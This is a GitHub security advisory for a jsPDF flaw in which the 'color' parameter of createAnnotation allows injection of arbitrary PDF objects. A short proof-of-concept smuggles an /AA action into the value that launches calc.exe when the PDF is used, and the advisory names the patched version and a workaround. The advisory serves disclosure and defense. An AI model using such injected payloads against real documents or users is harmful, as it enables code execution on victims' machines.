GHSA-7x6v-j9x4-qf24

Description

### Impact User control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with.. * `createAnnotation`: `color` parameter Example attack vector: ```js import { jsPDF } from 'jspdf' const doc = new jsPDF(); const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> ('; doc.createAnnotation({ type: 'freetext', bounds: { x: 10, y: 10, w: 120, h: 20 }, contents: 'hello', color: payload }); doc.save('test.pdf'); ``` ### Patches The vulnerability has been fixed in jsPDF@4.2.1. ### Workarounds Sanitize user input before passing it to the vulnerable API members.
